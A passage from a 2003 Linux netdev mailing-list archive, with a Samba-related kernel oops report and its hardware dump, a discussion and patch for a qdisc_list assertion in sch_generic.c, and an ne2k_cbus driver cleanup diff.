netdev-bounce@oss.sgi.com X-original-sender: spi@gmxpro.de Precedence: bulk X-list: netdev Content-Length: 20538 Lines: 555 Hello, several times I got an OOPS. Here's a description of what has happened. Any help would be appreciated. Please CC me on all further mail traffic. ############################################################### 1) one line summary: When moving data (more than 4GB) from a Windows XP Client to a samba share or checking data stored on the samba share (Powerquest DriveImage images, 56 files, each ~700MB of size, checking with the Powerquest Image Explorer) the kernel panics with an OOPS. Linux has to be resetted hard. When accessing the data via NFS no OOPS is occurring. The error occured on kernel 2.4.20 with samba 2.2.7a and 2.2.8a. Now I tried kernel 2.4.23pre1 with samba 2.2.8a and again the error occurred. ############################################################### 2) full description: I'm using Samba to distribute some shares to Windows clients. One of the shares is an Image-directory where I'm storing PQDI Images of Windows clients. One of the created images is about 40GB of size and is split up to 56 files each of same size. When verifying this image from a Win XP client, PQDI stops with an error (error 1811, "Could not read from image file") and the Linux kernel panics. Verifying this image from DOS (with MS network client) is done without any error. Also verifying smaller images is done without any error. Verifying this Image via NFS is also done without an error. Another PQDI version (7.0) also reports an error and the Linux Kernel panics. Copying more than 4 GB to the samba share also lets the kernel panic with an OOPS. Copying data locally from the Linux console is done without an error. In the beginning I thought that the Promise controller is the source of problem, now I'm not sure. Maybe it's samba or the combination of samba and a Promise controller. The share is lying in a directory on a Reiser filesystem: share Images ReiserFS LVM (on /dev/md0 only, 120GB) RAID1 /dev/md0 (120GB) /dev/hda1 + /dev/hde1 (one primary partition of 120GB on each drive) /dev/hda + /dev/hde (each 120GB) IDE UDMA133-controller As IDE-controller I first used a Promise FastTrak TX2000 (which supports "hardware"-RAID). I tried the binary Promise-driver (1.03.0.1) and the source code-driver (1.02.0.25), both without success. All time the OOPS occurred. Then I replaced the controller and both Samsung SP1203N-hard drives (each 120GB) against a Promise UltraTrak 133 TX2 and two Maxtor drives (6Y120P0, each 1 20GB) and installed a Linux native software-RAID without any Promise-driver. But again the OOPS occurred. Of course I updated the Promise-firmware to the latest level. To eliminate the RAID and LVM-drivers as the source of problem I installed just a Reiser FS on one 120GB-primary partition on one of both Maxtor disks (after removing the drive from the RAID). But again the Linux kernel panicked. Trying ext3 instead of reiserfs didn't help. As I do not have enough space on my scsi-disks I can't verify this big image from a scsi-disk. Sometimes the Linux kernel panic occurs immediately some minutes after starting the verify, sometimes it happens after reading half of all image files. Samba doesn't report any error. I also tried a different PCI-slot for the Promise- adapter without any success. Next thing would be to try a different IDE-controller... ############################################################### 3) keywords: Suse Linux 8.20, kernel 2.4.23pre1, Promise Ultra 133 TX2, samba 2.28a ############################################################### 4) /proc/version: Linux version 2.4.23pre1-usbtest (2.4.23pre1@USB-test.suse.de) (gcc version 3.2.2) #1 Wed Aug 27 19:43:12 UTC 2003 ############################################################### 5) OOPS-message: Oops: 0000 CPU: 0 EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010206 eax: c40866a0 ebx: 00200000 ecx: c40866a0 edx: 00200000 esi: cec57360 edi: fffffff9 ebp: 00000046 esp: c0303f2c ds: 0018 es: 0018 ss: 0018 Process swapper (pid: 0, stackpage=c0303000) Stack: cec57360 c0219d6e cec57360 cec57360 cec57360 c0219dab cec57360 cec57360 c0219efc cec57360 cf49cb20 c021e173 cec57360 00000003 c032c568 c0120629 c032c568 00000006 0000000e c0303f98 d3e02e40 c010a091 c0106f40 c0302000 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 1b 8b 42 74 48 74 0a ff 4a 74 0f 94 c0 84 c0 74 07 52 e8 >>EIP; c0219cd7 <===== >>eax; c40866a0 <_end+3cf81fc/14e64bbc> >>ecx; c40866a0 <_end+3cf81fc/14e64bbc> >>esi; cec57360 <_end+e8c8ebc/14e64bbc> >>esp; c0303f2c Trace; c0219d6e Trace; c0219dab Trace; c0219efc <__kfree_skb+ec/150> Trace; c021e173 Trace; c0120629 Trace; c010a091 Trace; c0106f40 Trace; c010c4e8 Trace; c0106f40 Trace; c0106f64 Trace; c0106fd2 Trace; c0105000 <_stext+0/0> Code; c0219cd7 00000000 <_EIP>: Code; c0219cd7 <===== 0: 8b 1b mov (%ebx),%ebx <===== Code; c0219cd9 2: 8b 42 74 mov 0x74(%edx),%eax Code; c0219cdc 5: 48 dec %eax Code; c0219cdd 6: 74 0a je 12 <_EIP+0x12> Code; c0219cdf 8: ff 4a 74 decl 0x74(%edx) Code; c0219ce2 b: 0f 94 c0 sete %al Code; c0219ce5 e: 84 c0 test %al,%al Code; c0219ce7 10: 74 07 je 19 <_EIP+0x19> Code; c0219ce9 12: 52 push %edx Code; c0219cea 13: e8 00 00 00 00 call 18 <_EIP+0x18> <0>Kernel panic: Aiee, killing interrupt handler! ############################################################### 6) shell script: no way ############################################################### 7) environment: Dell Optiplex GX1 400MTbr+, Intel II 400 MHz, 320 MB RAM Adaptec AHA 2940UW as PCI-adapter with two hard drives (20GB and 4 GB, /boot is on the first scsi-drive) and a Plextor CD-writer onboard LAN (3com) Promise Ultra133 TX2 as PCI-adapter with two Maxtor-drives (each 120GB) DVD-ROM at the onboard-IDE ############################################################### 7.1) ver_linux: Linux server01 2.4.23pre1-usbtest #1 Wed Aug 27 19:43:12 UTC 2003 i686 unknown unknown GNU/Linux Gnu C 3.3.1 Gnu make 3.80 util-linux 2.11z mount 2.11z modutils 2.4.22 e2fsprogs 1.28 jfsutils 1.1.1 Linux C Library x 1 root root 1475331 Mar 27 21:39 /lib/libc.so.6 Dynamic linker (ldd) 2.3.2 Procps 3.1.6 Net-tools 1.60 Kbd 1.06 Sh-utils 4.5.8 Modules Loaded isa-pnp usbserial ipv6 nfsd autofs st sr_mod sg mousedev joydev evdev input usb-uhci usbcore raw1394 ieee1394 3c59x ide-cd cdrom lvm-mod raid1 reiserfs aic7xxx ############################################################### 7.2) cpuinfo: processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 5 model name : Pentium II (Deschutes) stepping : 2 cpu MHz : 398.780 cache size : 512 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr bogomips : 796.26 ############################################################### 7.3) modules: isa-pnp 30180 0 (unused) usbserial 18332 0 (autoclean) (unused) ipv6 161172 -1 (autoclean) nfsd 65808 4 (autoclean) autofs 10100 1 (autoclean) st 27564 0 (autoclean) (unused) sr_mod 14680 0 (autoclean) sg 26540 0 (autoclean) mousedev 4084 0 (unused) joydev 5728 0 (unused) evdev 4384 0 (unused) input 3328 0 [mousedev joydev evdev] usb-uhci 21772 0 (unused) usbcore 57664 1 [usbserial usb-uhci] raw1394 17108 0 (unused) ieee1394 42660 0 [raw1394] 3c59x 26864 1 ide-cd 30112 0 (autoclean) cdrom 26560 0 (autoclean) [sr_mod ide-cd] lvm-mod 56192 6 (autoclean) raid1 12748 1 (autoclean) reiserfs 182992 4 aic7xxx 139948 5 ############################################################### 7.4) ioports, iomem: 0000-001f : dma1 0020-003f : pic1 0040-005f : timer 0060-006f : keyboard 0070-007f : rtc 0080-008f : dma page reg 00a0-00bf : pic2 00c0-00df : dma2 00f0-00ff : fpu 0170-0177 : ide1 02f8-02ff : serial(auto) 0376-0376 : ide1 03c0-03df : vesafb 03f8-03ff : serial(auto) 0800-083f : Intel Corp. 82371AB/EB/MB PIIX4 ACPI 0840-085f : Intel Corp. 82371AB/EB/MB PIIX4 ACPI 0cf8-0cff : PCI conf1 cc00-cc7f : 3Com Corporation 3c905B 100BaseTX [Cyclone] cc00-cc7f : 00:11.0 cca0-ccaf : Promise Technology, Inc. 20269 cca0-cca7 : ide0 cca8-ccaf : ide2 ccb8-ccbb : Promise Technology, Inc. 20269 ccba-ccba : ide2 ccc0-ccc7 : Promise Technology, Inc. 20269 ccc0-ccc7 : ide2 ccd0-ccd3 : Promise Technology, Inc. 20269 ccd2-ccd2 : ide0 ccd8-ccdf : Promise Technology, Inc. 20269 ccd8-ccdf : ide0 cce0-ccff : Intel Corp. 82371AB/EB/MB PIIX4 USB cce0-ccff : usb-uhci d000-dfff : PCI Bus #02 d800-d8ff : Adaptec AHA-2940U/UW / AHA-39xx / AIC-7895 (#2) dc00-dcff : Adaptec AHA-2940U/UW / AHA-39xx / AIC-7895 e000-efff : PCI Bus #01 ec00-ecff : ATI Technologies Inc 3D Rage Pro AGP 1X/2X ffa0-ffaf : Intel Corp. 82371AB/EB/MB PIIX4 IDE ffa8-ffaf : ide1 00000000-0009ffff : System RAM 000a0000-000bffff : Video RAM area 000c0000-000c7fff : Video ROM 000c8000-000cc7ff : Extension ROM 000d0000-000d7fff : Extension ROM 000d8000-000da7ff : Extension ROM 000f0000-000fffff : System ROM 00100000-13ffffff : System RAM 00100000-002700a5 : Kernel code 002700a6-00301703 : Kernel data f0000000-f3ffffff : Intel Corp. 440BX/ZX/DX - 82443BX/ZX/DX Host bridge f5000000-f5ffffff : PCI Bus #02 f6000000-f6ffffff : PCI Bus #01 fa000000-fbffffff : PCI Bus #02 faffe000-faffefff : Adaptec AHA-2940U/UW / AHA-39xx / AIC-7895 (#2) faffe000-faffefff : aic7xxx fafff000-faffffff : Adaptec AHA-2940U/UW / AHA-39xx / AIC-7895 fafff000-faffffff : aic7xxx fc000000-feffffff : PCI Bus #01 fcfff000-fcffffff : ATI Technologies Inc 3D Rage Pro AGP 1X/2X fcfff000-fcffffff : atyfb fd000000-fdffffff : ATI Technologies Inc 3D Rage Pro AGP 1X/2X fd000000-fdffffff : atyfb ff000000-ff003fff : Promise Technology, Inc. 20269 ff004000-ff00407f : 3Com Corporation 3c905B 100BaseTX [Cyclone] ffe00000-ffffffff : reserved ############################################################### 7.5) PCI: 00:00.0 Host bridge: Intel Corp. 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 03) Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:01.0 PCI bridge: Intel Corp. 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 03) (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle+ MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap- 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Reset- FastB2B+ 00:07.0 ISA bridge: Intel Corp. 82371AB/EB/MB PIIX4 ISA (rev 02) Control: I/O+ Mem+ BusMaster+ SpecCycle+ MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- Reset- FastB2B- Capabilities: [dc] Power Management version 1 Flags: PMEClk- DSI- D1- D2- AuxCurrent=220mA PME(D0-,D1-,D2-,D3hot- ,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- Bridge: PM- B3+ 00:11.0 Ethernet controller: 3Com Corporation 3c905B 100BaseTX [Cyclone] (rev 24) Subsystem: Dell Computer Corporation 3C905B Fast Etherlink XL 10/100 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- [disabled] [size=128K] Capabilities: [50] AGP version 1.0 Status: RQ=256 Iso- ArqSz=0 Cal=0 SBA+ ITACoh- GART64- HTrans- 64bit- FW- AGP3- Rate=x1,x2 Command: RQ=1 ArqSz=0 Cal=0 SBA- AGP- GART64- 64bit- FW- Rate= 02:0a.0 SCSI storage controller: Adaptec AHA-2940U/UW / AHA-39xx / AIC-7895 (rev 03) Subsystem: Adaptec AHA-2940U/2940UW Dual Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- ; Tue, 23 Sep 2003 16:52:10 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA03723; Tue, 23 Sep 2003 16:39:10 -0700 Date: Tue, 23 Sep 2003 16:39:10 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] (0/7) device_probe enhancement Message-Id: <20030923163910.4239ac33.davem@redhat.com> In-Reply-To: <20030923144721.6001c598.shemminger@osdl.org> References: <20030923144721.6001c598.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 189 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 527 Lines: 12 On Tue, 23 Sep 2003 14:47:21 -0700 Stephen Hemminger wrote: > This comes from Al Viro's net device patchset and is updated for > 2.6.0-test5 latest. It adds a second probe list for network devices > that are compiled into the kernel, but allocate their own network > device rather than being handed a device. It is part of the > incremental changes to have all network devices using dynamic > allocation. This all looks fine to me. Jeff, what do you think? Are you gonna merge it if it's ok to you? From david-b@pacbell.net Tue Sep 23 17:05:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 17:05:38 -0700 (PDT) Received: from mtaw4.prodigy.net (mtaw4.prodigy.net [64.164.98.52]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O05WFx002525 for ; Tue, 23 Sep 2003 17:05:33 -0700 Received: from pacbell.net (ppp-67-118-246-130.dialup.pltn13.pacbell.net [67.118.246.130]) by mtaw4.prodigy.net (8.12.9/8.12.3) with ESMTP id h8O05U7C009883 for ; Tue, 23 Sep 2003 17:05:31 -0700 (PDT) Message-ID: <3F70E12A.1090204@pacbell.net> Date: Tue, 23 Sep 2003 17:11:22 -0700 From: David Brownell User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en, fr MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: assertion failure at net/sched/sch_generic.c(530) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 190 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: david-b@pacbell.net Precedence: bulk X-list: netdev Content-Length: 547 Lines: 17 After running some TTCP tests (unidirectional TTCP 9+ hours, then bidirectional for about 8 hours more) over a network link, I shut it down the usual way and got an unusual message. I've never seen this before; this is a recent 2.6.0-test5 BK snapshot (a few days old): KERNEL: assertion (dev->qdisc_list == NULL) failed at net/sched/sch_generic.c(530) Could someone please translate that for me -- trouble? The interface was down at that point, and this was evidently triggered by the unregister_netdev() that "rmmod" caused. - Dave From davem@pizda.ninka.net Tue Sep 23 17:15:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 17:15:38 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O0FUFx003018 for ; Tue, 23 Sep 2003 17:15:31 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA03804; Tue, 23 Sep 2003 17:02:16 -0700 Date: Tue, 23 Sep 2003 17:02:16 -0700 From: "David S. Miller" To: David Brownell Cc: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: assertion failure at net/sched/sch_generic.c(530) Message-Id: <20030923170216.32eaff53.davem@redhat.com> In-Reply-To: <3F70E12A.1090204@pacbell.net> References: <3F70E12A.1090204@pacbell.net> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 191 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 914 Lines: 26 On Tue, 23 Sep 2003 17:11:22 -0700 David Brownell wrote: > KERNEL: assertion (dev->qdisc_list == NULL) failed at > net/sched/sch_generic.c(530) Crap, I think I know what made this start happening. Jamal, your pfifo_fast statistics patch added this to dev_activate() when we decide to add a default discipline: write_lock(&qdisc_tree_lock); qdisc->next = dev->qdisc_list; dev->qdisc_list = qdisc; write_unlock(&qdisc_tree_lock); Something probably isn't clearing it later on when we down the device. Doesn't the ->reset() operation need to do this list removal? If so, that's the problem, pfifo_fast_reset() isn't doing the dev->qdisc_list removal. Actually it seems like qdisc_destroy() takes care of it. Or another possibility is that pfifo_fast is being added twice to the list. From davem@pizda.ninka.net Tue Sep 23 17:22:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 17:22:07 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O0LxFx003388 for ; Tue, 23 Sep 2003 17:21:59 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA03845; Tue, 23 Sep 2003 17:08:58 -0700 Date: Tue, 23 Sep 2003 17:08:58 -0700 From: "David S. Miller" To: "David S. Miller" Cc: david-b@pacbell.net, hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: assertion failure at net/sched/sch_generic.c(530) Message-Id: <20030923170858.3c3b0b8e.davem@redhat.com> In-Reply-To: <20030923170216.32eaff53.davem@redhat.com> References: <3F70E12A.1090204@pacbell.net> <20030923170216.32eaff53.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 192 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 531 Lines: 17 On Tue, 23 Sep 2003 17:02:16 -0700 "David S. Miller" wrote: > On Tue, 23 Sep 2003 17:11:22 -0700 > David Brownell wrote: > > > KERNEL: assertion (dev->qdisc_list == NULL) failed at > > net/sched/sch_generic.c(530) > > Crap, I think I know what made this start happening. Wait, David do you have CONFIG_NET_SCHED enabled in your config? Qdiscs don't get unlinked in qdisc_destroy() unless that config is enabled. If you have it off, that explains the bug and the fix is obvious. From david-b@pacbell.net Tue Sep 23 17:38:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 17:39:04 -0700 (PDT) Received: from mtaw4.prodigy.net (mtaw4.prodigy.net [64.164.98.52]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O0ciFx004347 for ; Tue, 23 Sep 2003 17:38:44 -0700 Received: from pacbell.net (ppp-67-118-246-130.dialup.pltn13.pacbell.net [67.118.246.130]) by mtaw4.prodigy.net (8.12.9/8.12.3) with ESMTP id h8O0cc7C008767; Tue, 23 Sep 2003 17:38:39 -0700 (PDT) Message-ID: <3F70E8EE.9070606@pacbell.net> Date: Tue, 23 Sep 2003 17:44:30 -0700 From: David Brownell User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en, fr MIME-Version: 1.0 To: "David S. Miller" CC: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: assertion failure at net/sched/sch_generic.c(530) References: <3F70E12A.1090204@pacbell.net> <20030923170216.32eaff53.davem@redhat.com> <20030923170858.3c3b0b8e.davem@redhat.com> In-Reply-To: <20030923170858.3c3b0b8e.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 193 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: david-b@pacbell.net Precedence: bulk X-list: netdev Content-Length: 455 Lines: 21 >>> KERNEL: assertion (dev->qdisc_list == NULL) failed at >>> net/sched/sch_generic.c(530) >> >>Crap, I think I know what made this start happening. > > > Wait, David do you have CONFIG_NET_SCHED enabled in your > config? No ... > Qdiscs don't get unlinked in qdisc_destroy() unless that config > is enabled. If you have it off, that explains the bug and the > fix is obvious. Well, obvious to people who know that part of the stack ... :) From jgarzik@pobox.com Tue Sep 23 17:40:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 17:41:01 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O0etFx004786 for ; Tue, 23 Sep 2003 17:40:56 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33746 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A1xi9-0004uw-Li; Wed, 24 Sep 2003 01:40:53 +0100 Message-ID: <3F70E809.6010509@pobox.com> Date: Tue, 23 Sep 2003 20:40:41 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] (0/7) device_probe enhancement References: <20030923144721.6001c598.shemminger@osdl.org> In-Reply-To: <20030923144721.6001c598.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 194 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 113 Lines: 5 hum. your first patch applied OK (0/7), but your succeeding patches did not. All of them failed on Space.c. From davem@pizda.ninka.net Tue Sep 23 17:55:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 17:56:01 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O0tsFx005988 for ; Tue, 23 Sep 2003 17:55:55 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA03998; Tue, 23 Sep 2003 17:42:54 -0700 Date: Tue, 23 Sep 2003 17:42:54 -0700 From: "David S. Miller" To: David Brownell Cc: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: assertion failure at net/sched/sch_generic.c(530) Message-Id: <20030923174254.03218556.davem@redhat.com> In-Reply-To: <3F70E8EE.9070606@pacbell.net> References: <3F70E12A.1090204@pacbell.net> <20030923170216.32eaff53.davem@redhat.com> <20030923170858.3c3b0b8e.davem@redhat.com> <3F70E8EE.9070606@pacbell.net> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 195 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 797 Lines: 30 On Tue, 23 Sep 2003 17:44:30 -0700 David Brownell wrote: > > Qdiscs don't get unlinked in qdisc_destroy() unless that config > > is enabled. If you have it off, that explains the bug and the > > fix is obvious. > > Well, obvious to people who know that part of the stack ... :) Honest, it's a pretty simple bug :) Try this patch: --- net/sched/sch_generic.c.~1~ Tue Sep 23 17:52:22 2003 +++ net/sched/sch_generic.c Tue Sep 23 17:52:28 2003 @@ -416,7 +416,6 @@ dev = qdisc->dev; -#ifdef CONFIG_NET_SCHED if (dev) { struct Qdisc *q, **qp; for (qp = &qdisc->dev->qdisc_list; (q=*qp) != NULL; qp = &q->next) { @@ -428,7 +427,6 @@ } #ifdef CONFIG_NET_ESTIMATOR qdisc_kill_estimator(&qdisc->stats); -#endif #endif if (ops->reset) ops->reset(qdisc); From p_gortmaker@yahoo.com Tue Sep 23 08:26:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 19:30:26 -0700 (PDT) Received: from gold.muskoka.com (gold.muskoka.com [216.123.107.5]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NFQPFx017273 for ; Tue, 23 Sep 2003 08:26:26 -0700 Received: from yahoo.com (ppp105.muskoka.com [216.123.108.115]) by gold.muskoka.com (8.12.3/8.12.3/Debian-6.4) with ESMTP id h8N2evcM021170; Mon, 22 Sep 2003 22:40:57 -0400 Message-ID: <3F6FAA29.4070909@yahoo.com> Date: Mon, 22 Sep 2003 22:04:25 -0400 From: Paul Gortmaker User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.3.1) Gecko/20030425 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com CC: Jeff Garzik , Donald Becker Subject: [PATCH] ne2k_cbus tidy up Content-Type: multipart/mixed; boundary="------------080802010301030704050609" X-archive-position: 196 X-Approved-By: ralf@linux-mips.org X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: p_gortmaker@yahoo.com Precedence: bulk X-list: netdev Content-Length: 4014 Lines: 121 This is a multi-part message in MIME format. --------------080802010301030704050609 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit When Osamu Tomita cloned ne2k_cbus from the ISA ne.c, some of the version information, printks and so on were not updated to reflect that it was indeed a different driver than the original. This tidy up takes care of that and zaps the old changelog info which is no longer relevant. Patch is against 2.6.0-test5. Thanks, Paul. --------------080802010301030704050609 Content-Type: text/plain; name="2.6.0-test5-ne2k_cbus-diff0" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="2.6.0-test5-ne2k_cbus-diff0" --- linux/drivers/net/ne2k_cbus.c Mon Mar 24 14:02:10 2003 +++ linux-net/drivers/net/ne2k_cbus.c Mon Sep 22 21:45:32 2003 @@ -1,45 +1,26 @@ -/* ne.c: A general non-shared-memory NS8390 ethernet driver for linux. */ /* - Written 1992-94 by Donald Becker. + ne2k_cbus.c: A driver for the NE2000 like ethernet on NEC PC-9800. + + This is a copy of the 2.5.66 Linux ISA NE2000 driver "ne.c" + (Donald Becker/Paul Gortmaker) with the NEC PC-9800 specific + changes added by Osamu Tomita. + +From ne.c: +----------- Copyright 1993 United States Government as represented by the Director, National Security Agency. This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. - - The author may be reached as becker@scyld.com, or C/O - Scyld Computing Corporation, 410 Severn Ave., Suite 210, Annapolis MD 21403 - - This driver should work with many programmed-I/O 8390-based ethernet - boards. Currently it supports the NE1000, NE2000, many clones, - and some Cabletron products. - - Changelog: - - Paul Gortmaker : use ENISR_RDC to monitor Tx PIO uploads, made - sanity checks and bad clone support optional. - Paul Gortmaker : new reset code, reset card after probe at boot. - Paul Gortmaker : multiple card support for module users. - Paul Gortmaker : Support for PCI ne2k clones, similar to lance.c - Paul Gortmaker : Allow users with bad cards to avoid full probe. - Paul Gortmaker : PCI probe changes, more PCI cards supported. - rjohnson@analogic.com : Changed init order so an interrupt will only - occur after memory is allocated for dev->priv. Deallocated memory - last in cleanup_modue() - Richard Guenther : Added support for ISAPnP cards - Paul Gortmaker : Discontinued PCI support - use ne2k-pci.c instead. - Osamu Tomita : Separate driver for NEC PC-9800. +----------- */ /* Routines for the NatSemi-based designs (NE[12]000). */ -static const char version1[] = -"ne.c:v1.10 9/23/94 Donald Becker (becker@scyld.com)\n"; -static const char version2[] = -"Last modified Nov 1, 2000 by Paul Gortmaker\n"; - +static const char version[] = +"ne2k_cbus.c:v1.0 3/24/03 Osamu Tomita\n"; #include #include @@ -273,7 +254,7 @@ } if (ei_debug && version_printed++ == 0) - printk(KERN_INFO "%s" KERN_INFO "%s", version1, version2); + printk(KERN_INFO "%s", version); printk(KERN_INFO "NE*000 ethercard probe at %#3x:", ioaddr); @@ -839,9 +820,9 @@ return 0; } if (io[this_dev] != 0) - printk(KERN_WARNING "ne.c: No NE*000 card found at i/o = %#x\n", io[this_dev]); + printk(KERN_WARNING "ne2k_cbus: No NE*000 card found at i/o = %#x\n", io[this_dev]); else - printk(KERN_NOTICE "ne.c: You must supply \"io=0xNNN\" value(s) for C-Bus cards.\n"); + printk(KERN_NOTICE "ne2k_cbus: You must supply \"io=0xNNN\" value(s) for C-Bus cards.\n"); return -ENXIO; } return 0; @@ -869,11 +850,3 @@ } #endif /* MODULE */ - -/* - * Local variables: - * compile-command: "gcc -DKERNEL -Wall -O6 -fomit-frame-pointer -I/usr/src/linux/net/tcp -c ne.c" - * version-control: t - * kept-new-versions: 5 - * End: - */ --------------080802010301030704050609-- From rnp@paradise.net.nz Tue Sep 23 23:18:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 23:19:01 -0700 (PDT) Received: from linda-1.paradise.net.nz (bm-1a.paradise.net.nz [202.0.58.20]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O6IlFx031549 for ; Tue, 23 Sep 2003 23:18:48 -0700 Received: from smtp-1.paradise.net.nz (smtp-1b.paradise.net.nz 